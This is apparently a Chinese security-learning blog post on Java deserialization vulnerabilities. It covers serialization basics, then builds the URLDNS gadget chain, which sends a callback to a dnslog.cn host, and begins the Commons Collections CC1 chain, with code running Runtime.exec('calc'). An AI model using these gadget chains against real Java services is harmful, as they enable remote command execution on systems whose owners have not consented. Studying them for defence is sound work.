深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)

2024-10-27 32 0

前言

如同标题一样, 本篇文章会介绍反序列化漏洞的基本原理,以及分析三种反序列化链路:URLDNS, CC, CB.

其中CC链附上一条笔者挖的链路, 有兴趣可以看一下, 当然没兴趣就算了. (PS: 有CC1~7的知识点就够了)

前置知识也就是笔者之前发表的《JAVA安全 | Classloader:理解与利用一篇就够了》, 建议理解 ClassLoader 之后再来学习反序列化。

本篇文章目录如下:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图

基本概念

其中序列化, 反序列化这两者的概念, 我们可以通过一张图进行解释:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图1

序列化则是将 Java 中的对象将其变为一串二进制数据, 可以存储在数据库,文件,内存中.

而反序列化则是将这些二进制数据,重新还原成 Java 对象的一个过程.

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图2

序列化 | 反序列化是发生在"对象"身上的, 故我们无法序列化 static 类型的属性, 因为 static 属性是绑定在类上的.

序列化 | 反序列化 测试

那么我们在 Java 中如何使用序列化 | 反序列化呢?

  1. 编写一个类, 实现Serializable接口

  2. 在该类中添加private static final long SerialVersionUID属性.

笔者在这里准备一个用于测试序列化|反序列化Java环境:

pom.xml:

<dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.2</version>
            <scope>compile</scope>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.18.30</version>
        </dependency>
    </dependencies>

随后准备一个JavaBean:

package com.heihu577.bean;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import java.io.Serializable;

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
    private static final long serialVersionUID = 1L;

    private int id;
    private String name;
    private int age;
}

编写测试类:

public class T1 {
    @Test
    public void writeObj() throws Exception {
        Person heihu577 = new Person(1, "heihu577", 12);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./heihu577.dat")));
        oos.writeUTF("HELLO WORLD"); // 写入字符串 HELLO WORLD
        oos.writeObject(heihu577); // 写入 heihu577 对象
    }

    @Test
    public void readObj() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
        String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
        Person person = (Person) ois.readObject(); // 读取 hihu577 对象
        System.out.println("Msg: " + msg + ", Person: " + person); // Msg: HELLO WORLD, Person: Person(id=1, name=heihu577, age=12)
    }
}

其中writeObj可以写入字符串与对象, 其中生成二进制文件的格式遵循Java规范, 具体可以参考官方文档: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

那么上述运行结果如下:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图3

Serializable 接口

我们可以观察一下Serializable接口中的注释信息:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图4

当我们在Person类中定义了这些方法时, 例如:

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
    private int id;
    private String name;
    private int age;

    private void readObject(java.io.ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        System.out.println("反序列化中...");
    }

    private void writeObject(java.io.ObjectOutputStream out)
            throws IOException {
        System.out.println("序列化中...");
    }
}

那么当我们调用ObjectOutputStream::writeObject方法时, 也会调用Person::writeObject方法.

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图5

当我们调用ObjectInputStream::readObject方法时, 也会调用Person::readObject方法. 这里过程就不演示了.

具体原因可以查看 readObject 源码分析: https://blog.csdn.net/lpcInJava/article/details/134776113

https://xz.aliyun.com/t/14544?time__1311=GqAhDIkGkFGXwqeu4Yub4jE8YGCRzmeD

程序员定义 readObject & writeObject 原因

那么程序员在什么时候会定义readObject并编写程序员的代码段呢?我们使用下面的案例来解释:

public class Main2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = new Person();
        person.setId(1);
        person.setUsername("Zs");
        serialize(person); // 序列化时 id=1, username=Zs. 但经过自定义 writeObject 处理后值为 id=2, username=Zs ~~~

        Person person01 = unserialize();
        System.out.println(person01); // 反序列化时, 直接调用 readObject 方法, 对其进行赋值操作.
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    private int id;
    private String username;
    // 提供 getter && setter && toString 方法

    private void writeObject(java.io.ObjectOutputStream out)
            throws IOException {
        out.writeInt(id + 1);
        out.writeUTF(username + " ~~~ "); // 自定义序列化规则
        System.out.println("我进来了, 我是序列化");
    }

    private void readObject(java.io.ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        System.out.println("我进来了, 我是反序列化.");
        this.id = in.readInt(); // 自定义反序列化赋值规则
        this.username = in.readUTF();
    }
}

我们可以看到的是, 自定义writeObject & readObject接口方法可以自定义序列化与反序列化的规则. 当然了, 如果我们定义一个空的readObject方法会怎么样, 我们不妨一试:

public class MyTester {
    public static void main(String[] args) throws Exception {
        Person person = new Person("heihu577", 12);
        serialize(person); // 序列化时, 是带着属性值序列化的
        Person person01 = unserialize();
        System.out.println(person01); // 而因为自定义了 readObject 方法, 所以这里的结果是 Person(name=null, age=null), 没有任何属性
    }

    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
    private String name;
    private Integer age;

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {}
}

可以看到这里由于定义了自定义readObject方法, 所以这里反序列化时, 无法成功从二进制文件中读取到name & age属性的值.

如果我们将该readObject定义成这样, 将可以从二进制文件中得到name & age的值, 并可以成功赋值:

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject(); // readObject 方法的第一行调用默认的处理机制
}

transient 阻止指定字段序列化

当一个成员属性使用transient修饰时, 那么该成员属性是不允许序列化的, 测试如下:

public class MyTester {
    public static void main(String[] args) throws Exception {
        Person person = new Person("heihu577", 12);
        serialize(person);
        Person person01 = unserialize();
        System.out.println(person01); // Person(name=null, age=12)
    }

    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
    private transient String name; // 定义 name 不允许序列化
    private Integer age;
}

而如果想要transient修饰的字段也参与序列化, 那么也需要重写writeObject & readObject方法, 在里面进行定义序列化|反序列化的规则:

public class MyTester {
    public static void main(String[] args) throws Exception {
        Person person = new Person("heihu577", 12);
        serialize(person);
        Person person01 = unserialize();
        System.out.println(person01); // Person(name=我是自定义的写入规则~heihu577, age=12)
    }

    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
    private transient String name;
    private Integer age;

    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
        out.defaultWriteObject(); // 调用默认的写入是为了写入 age 成员属性
        out.writeUTF("我是自定义的写入规则~" + this.name); // 写入 name
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject(); // 调用默认的读取是为了读取 age 成员属性
        this.name = in.readUTF(); // 读取 name
    }
}

可以看到的是, 虽然name字段被transient修饰了, 但是我们依然可以通过自定义writeObject & readObject进行操作name.

当然, 被 static 修饰的字段也不会被序列化, 因为 static 是基于类的, 这一点毋庸置疑.

serialVersionUID 有什么用

那么为什么必须要定义serialVersionUID也是有讲究的, 我们定义如下代码进行测试:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图6

可以看到, 似乎serialVersionUID对我们序列化 & 反序列化并无影响, 但是此时我们试图对Person增加一个成员方法, 然后再进行反序列化测试:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图7

可以看到的是, 如果一个类没有定义serialVersionUID, 那么Java会默认通过当前类结构给该类生成一个serialVersionUID, 随后在你writeObject时写入到你的二进制文件中.

当进行反序列化时, 仍然没有定义serialVersionUID成员属性时, Java会通过当前类结构重新计算serialVersionUID, 对你的二进制文件中的serialVersionUID进行比对, 若一致, 那么可以成功反序列化, 若不一致, 那么将不允许反序列化.

那么当我们加上serialVersionUID, 与其我们二进制文件中的serialVersionUID一致, 看一下是否可以反序列化成功:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图8

所以一般程序员在实现了Serializable接口时, 会顺手定义serialVersionUID, 以免在版本更新等因素修改了类的结构, 从而导致更新前的序列化文件失效.

ObjectInputStream::resolveClass 加载类

我们知道的是,ObjectInputStream::readObject方法可以通过读取序列化二进制文件, 从而将序列化中的对象反序列化回来, 既然加载的是对象, 那它肯定需要在加载对象之前加载该对象所指明的类, 而加载类的过程被放入在了ObjectInputStream::resolveClass中, 我们可以看一下该方法是如何定义的:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图9

而当我们继承ObjectInputStream, 重写resolveClass方法, 就可以自定义类加载规则.

那么我们定义如下DEMO进行看一下:

public class Demo {
    public static void main(String[] args) throws Exception {
        DemoClass demoObj = new DemoClass();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 将序列化的值放入到内存中
        new ObjectOutputStream(byteArrayOutputStream).writeObject(demoObj); // 序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        new MyObjectInputStream(byteArrayInputStream).readObject(); // 读取对象, 会调用到 MyObjectInputStream::resolveClass
    }
}

class MyObjectInputStream extends ObjectInputStream {
    public MyObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        System.out.println("要加载的类名: " + desc.getName());
        return super.resolveClass(desc);
    }
}

class DemoClass implements Serializable {
    String name = "heihu577";
}

最终运行结果:

要加载的类名: com.heihu577.DemoClass

只要稍微修改一下MyObjectInputStream::resolveClass的加载逻辑, 就可以自定义加载类.

Externalizable 接口

ExternalizableSerializable接口还是有区别的, 我们知道的是,Serializable接口有默认的序列化|反序列化处理机制, 而Externalizable是没有的, 我们可以看一下这两个接口的区别:

public interface Serializable {}
public interface Externalizable extends java.io.Serializable {
    void writeExternal(ObjectOutput out) throws IOException;
    void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}

我们可以看到的是,Externalizable必须实现writeExternal & readExternal方法. 而Serializable接口中readObject & writeObject的定义是程序员自定义的.

这也就意味着实现Externalizable接口程序员必须在writeExternal & readExternal中指明其序列化 | 反序列化规则, 这一切都由程序员定义, 因为没有了默认处理规则, 自然Externalizable也不需要使用serialVersionUID进行思考兼容性问题.

无参构造

定义如下代码:

public class MyTester {
    public static void main(String[] args) throws Exception {
        Person person = new Person(); // 进入一次无参构造
        person.setName("heihu577");
        person.setAge(12);
        serialize(person);
        Person UnserPerson = unserialize(); // 进入一次无参构造
        System.out.println(UnserPerson);
    }

    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static Person unserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        return (Person) ois.readObject();
    }
}

@Data
class Person implements Externalizable {
    private String name;
    private Integer age;

    public Person() { // 定义的该构造器访问修饰符必须为 public
        System.out.println("进入无参构造...");
    }

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeObject(name);
        out.writeObject(age);
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        name = (String) in.readObject();
        age = (Integer) in.readObject();
    }
}

可以看到的是, 实现了Externalizable的类, 对象进行反序列化时会自动进入一次构造方法.

Externalizable和Serializable的区别

实现Serializable接口是默认序列化所有属性,如果有不需要序列化的属性使用transient修饰。Externalizable接口是Serializable的子类,实现这个接口需要重写writeExternal和readExternal方法,指定对象序列化的属性和从序列化文件中读取对象属性的行为。

实现Serializable接口的对象序列化文件进行反序列化不走构造方法,载入的是该类对象的一个持久化状态,再将这个状态赋值给该类的另一个变量。实现Externalizable接口的对象序列化文件进行反序列化先走构造方法得到控对象,然后调用readExternal方法读取序列化文件中的内容给对应的属性赋值。

好文推荐: https://blog.csdn.net/qq_43842093/article/details/127437652

反序列化漏洞入门

当我们的一个正常类中, 定义了readObject方法时, 若方法体中的运行代码不安全, 则会造成反序列化漏洞, 如下:

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
    private static final long serialVersionUID = 1L;

    private int id;
    private String name;
    private int age;

    private void readObject(java.io.ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("calc"); // 弹出计算器
    }
}

那么当我们执行如下代码就会弹出计算器:

@Test
public void readObj() throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
    String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
    Person person = (Person) ois.readObject(); // 读取 heihu577 对象
    System.out.println("Msg: " + msg + ", Person: " + person);
}

所以这里如果我们如果想要挖掘出存在反序列化漏洞的类时, 是需要查看该类是否定义了不安全的readObject方法, 或者该readObject方法最终的走向是危险的, 例如:A::readObject -> B::某方法 -> C::危险方法, 这样也可以达到一个反序列化漏洞的效果.

URLDNS

如果服务器上存在一个反序列化的点/漏洞, 我们把URLDNS的序列化数据传进去, 我们就会收到一个DNSLOG请求, 代表服务器存在反序列化漏洞. 而因为URLDNS不受JDK版本限制, 所以这里使用URLDNS进行检测是特别好的一个选择. 那么我们下面介绍一下 URLDNS 链路的形成.

HashMap

Java中存在Map数据类型, 我们知道的是, Map 中存在许许多多的Entry. 当然, 程序员为了能让Map这个复杂的数据类型支持序列化|反序列化, 自己重写了writeObject & readObject方法, 因为Map本来就是Java开发者定义的一种键值对的数据类型. 那么我们先看一下HashMapwriteObject流程. 我们准备如下代码进行研究:

public static void main(String[] args) throws IOException, ClassNotFoundException {
    HashMap<String, String> map = new HashMap<>();
    map.put("name", "heihu577");
    serialize(map);
}

public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static Map unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    return (Map) ois.readObject();
}
Map.put 方法做了什么

在研究之前, 我们先看一下大体上Map.put方法做了一些什么操作, 因为这里面的一些成员属性参与到了后期的writeObject操作中.

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图10

因为篇幅有限, 这里并不方便把整个HashMap的原理放出来, 具体可以参考: https://zhuanlan.zhihu.com/p/705241238

在这里我们只需要知道table这个属性存放的是我们实际的数据, 它是一个Node<Key, Value>数组:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图11

从上图可以看到, 当我们运行完Map.put方法之后, 该数组中会增加一组键值对.

自定义 writeObject

那么接下来我们分析writeObject方法, 看一下该方法到底做了什么.

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图12

到这里我们知道的是, 原来HashMap中的Key & Value也是参与了writeObject操作的.

自定义 readObject

那么我们看一下readObject做了什么事情:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图13

这里我们需要注意的是hash这个方法:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这个方法会调用Map中KeyhashCode方法. 那么这里可以作为一个切入点进行深度挖掘.

URL

在URL中定义了hashCode方法, 而这个方法是可以发送DNSLOG请求的:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图14

最终调用了getHostAddress方法, 这个方法可以发送DNSLOG请求. 所以这是一个完整的链路.

问题是handler是在哪里进行初始化操作了?实则是在构造器, readObject 方法中都有定义, 我们看一下这个初始化操作方法:

public URL(String protocol, String host, int port, String file,
           URLStreamHandler handler) throws MalformedURLException {
    // ... 其他代码
    if (handler == null &&
        (handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
        throw new MalformedURLException("unknown protocol: " + protocol);
    }
    this.handler = handler;
}

private synchronized void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // ... 其他代码
    if ((handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
        throw new IOException("unknown protocol: " + protocol);
    }
}

所以我们无需担心handler是否为空问题. 一旦URL::hashCode方法被调用, 那么将直接发送一次网络请求. 而我们刚刚分析的HashMap类的readObject方法中, 是存在hashCode的调用的, 所以这里我们将其调用URL::hashCode就可以发送一次网络请求了.

发送DNSLOG测试

下面我们通过这段代码可以发送一次DNSLOG请求:

public static void main(String[] args) throws IOException, ClassNotFoundException {
    HashMap<URL, String> hashMap = new HashMap<>();
    hashMap.put(new URL("http://lg3swn.dnslog.cn/"), "heihu577");
}

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图15

最终DNSLOG收到结果:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图16

但是我们并不希望在我们构造POC时发送网络请求, 所以这里我们需要在构造POC时, 通过反射进行修改掉URL这个类的hashCode, 将其不等于-1即可, 如下:

HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://mdj867.dnslog.cn/");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
/*
     private int hashCode = -1; 这里默认是 -1, 我们需要将其修改为其他值
     public synchronized int hashCode() {
            if (hashCode != -1) 为了进入该判断, 直接返回 hashCode, 否则走到下面将发送网络请求
                return hashCode;

            hashCode = handler.hashCode(this);
            return hashCode;
        }
* */
hashMap.put(url, "heihu577");

这样我们在本地构造HashMap对象时就不会发送网络请求了, 而由于反序列化时由于hashCode已经被修改了, 所以这里反序列化时并不会发送DNSLOG请求. 我们看一下解决办法.

反序列化测试

首先我们生成POC到本地磁盘:

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    HashMap<URL, String> hashMap = new HashMap<>();
    URL url = new URL("http://mdj867.dnslog.cn/");
    Field hashCode = url.getClass().getDeclaredField("hashCode");
    hashCode.setAccessible(true);
    hashCode.set(url, 0);
    hashMap.put(url, "heihu577"); // put 进去时, hashCode 为 0, 在里面调用 hashCode 方法, 不会发送DNSLOG请求.
    hashCode.set(url, -1); // put 完了, 再改回 -1, 以免我们序列化的 hashCode 被替换为 0. 下一次反序列化时就会发送 DNSLOG 请求.
    serialize(hashMap); // 运行后 D:/heihu577.ser 将生成出来
}

public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

随后我们直接进行反序列化:

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    unserialize(); // 调用直接发送 DNSLOG 请求.
}

public static Map unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    return (Map) ois.readObject();
}

最终会收到DNSLOG请求:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图17

最终调用流程图:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图18

Apache Commons Collections

前置环境准备

为了研究CC链, 我们需要在这里准备一个低版本的JDK用于学习, 笔者在这里使用的JDK版本jdk1.8.0_65:

E:\Language\Java\jdk1.8.0_65\bin>java -version
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)

除了准备低版本的JDK之外, 由于rt.jar!/sun下的包均为字节码文件, 所以我们需要去 https://hg.openjdk.org/ 去下载JDK下的sun源码文件, 否则当我们调试时会出现变量名随机等问题, 在我们看源代码时不方便. 如图:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图19

本地SDK源码下载: https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 (下载不了挂VPS下)

下载完毕之后, 按照如下操作:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图20

操作完毕之后, 我们sun目录下就可以看到.java的源代码了:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图21

随后在pom.xml文件中进行引入含有漏洞版本的CC:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version> <!-- CC3 -->
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version> <!-- CC4 -->
    </dependency>
    <!-- 分析具体版本, 切换到具体版本 -->
</dependencies>

为了后续的方便, 在这里按住Ctrl+Alt+Shift+F7, 进行设置我们的Alt+F7查找的内容:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图22

文章中, AAA 链路...俗称 BBB, AAA 指Commons Collections具体版本号, BBB 指ysoserial中的俗称.

CC3 链路 (版本1) jdk1.8.0_65 俗称 CC1

CC中存在一个org.apache.commons.collections.Transformer接口, 该接口定义了方法:

public interface Transformer {
    public Object transform(Object input);
}

定义了一个transform方法, 按住Ctrl+h查看谁实现了该接口:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图23

InvokerTransformer::transform 危险方法

InvokerTransformer这个类是可以序列化的, 并且重写了transform方法, 该方法的功能为: 接收一个对象 (注: 该对象的类修饰符必须为 public, 否则这里无法调用), 并且调用该对象的任意方法, 传递任意参数.

以下代码是理解案例:

Person person = new Person();
InvokerTransformer invokerTransformer = new InvokerTransformer("sayHello",
        new Class[]{String.class}, new Object[]{"Heihu577"}); // 调用 sayHello 方法, 参数类型为 String 参数值为 Heihu577
Object transform = invokerTransformer.transform(person); // Hello: Heihu577

/* Person 类如下:
public class Person { // 这里必须由 public 修饰, 否则将报错
    public void sayHello(String name) {
        System.out.println("Hello: " + name);
    }
} */

那么通过这样我们可以调用一个计算器出来:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // public Process exec(String command)
Object transform = invokerTransformer.transform(runtime); // 弹出计算器
TransformedMap::checkSetValue 链式调用

我们需要查看谁调用了InvokerTransformer::transform方法, 最终结果如下:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图24

可以看到的是TransformedMap::checkSetValue方法调用了InvokerTransformer::transform方法, 此时我们可以把关注点放在TransformedMap::checkSetValue上, 本地模拟调用一下该方法, 看一下是否可以成功弹出计算器.TransformedMap构造器的定义为:

public class TransformedMap
        extends AbstractInputCheckedMapDecorator // 注意这个类, 待会儿下面会有调用关系.
        implements Serializable { // 可以被序列化
    
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
}

可以看到的是, 虽然该类的构造器是protected, 但该类提供了一个static方法, 可以使我们创建该类的实例, 但是由于checkSetValue方法是protected修饰的, 所以这里我们需要使用反射调用一下, 准备测试代码如下:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
        new Class[]{String.class}, new Object[]{"calc"});
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, invokerTransformer);
Method checkSetValue = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap, runtime); // 将 runtime 对象传递过去

运行将弹出计算器.

AbstractInputCheckedMapDecorator::setValue 链式调用 (抽象类)

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图25

可以看到AbstractInputCheckedMapDecorator这个类调用了parent.checkSetValue方法, 那么我们看一下AbstractInputCheckedMapDecorator这个类:

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { // AbstractMapDecorator 实现了 Map.Entry, 是一个封装好的键值对类
    protected AbstractInputCheckedMapDecorator(Map map) {
        super(map);
    }

    public Set entrySet() {
        if (isSetValueChecking()) { // true 为永真
            return new EntrySet(map.entrySet(), this);  // Map 数据类型迭代前都需要得到 EntrySet
        } else {
            return map.entrySet();
        }
    }
    
   static class EntrySet extends AbstractSetDecorator { // AbstractSetDecorator 实现了 Set, Set extends Collection, Collection<E> extends Iterable<E>, 所以这里 EntrySet 是一个 Iterable, 必须实现 iterator 方法
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }

        public Iterator iterator() {
            return new EntrySetIterator(collection.iterator(), parent); // 遍历时调用这里, collection 是父类定义的
        }
    }
    
    static class EntrySetIterator extends AbstractIteratorDecorator { // AbstractIteratorDecorator 实现了 Iterator, 可自定义迭代规则.
        private final AbstractInputCheckedMapDecorator parent;
        
        protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
            super(iterator);
            this.parent = parent;
        }
        
        public Object next() {
            Map.Entry entry = (Map.Entry) iterator.next();
            return new MapEntry(entry, parent); // 当迭代时, 会调用到这里
        }
    }
    
    static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value); // 迭代时可手动调用 checkSetValue 方法
            return entry.setValue(value);
        }
    }
}

可以看到的是, 这个AbstractInputCheckedMapDecorator类是一个抽象类, 并且提供了entrySet方法, 也就是说, 这个类是Map中的键值对, 那么谁实现了这个类呢?答案还是我们刚才的TransformedMap类. 该类其中的MapEntry类继承了AbstractMapEntryDecorator类, 而AbstractMapEntryDecorator类实则上也是实现了Map.Entry, 定义如下:

public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {}

public interface Map<K,V> {
    interface Entry<K,V> {
        V setValue(V value);
        // ... 其他
    }
    // ... 其他
}

所以我们可以通过遍历调用setValue方法进行传递我们的Runtime对象, 然后setValue调用checkSetValue,checkSetValue调用transform从而实现了攻击链路, 本地测试脚本如下:

Runtime runtime = Runtime.getRuntime(); // runtime 对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
        new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Set<Map.Entry> set = transformedMap.entrySet();
for (Map.Entry entry : set) {
    entry.setValue(runtime); // 循环调用 setValue
}

运行可以弹出计算器.

AnnotationInvocationHandler::readObject 入口方法

那么谁会调用setValue方法呢?我们使用Alt+F7进行查找:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图26

最终在AnnotationInvocationHandler::readObject中成功发现了调用setValue方法的代码块, 而readObject方法又是我们反序列化漏洞的入口, 所以我们要重点分析一下readObject方法,AnnotationInvocationHandler::readObject方法定义如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable { // 支持序列化
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type; // 需要转入注解
        this.memberValues = memberValues; // 传入 Map 类型
    }
    
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type); // AnnotationType 类用于获取一个注解
        } catch(IllegalArgumentException e) {
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // 判断该注解的属性

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
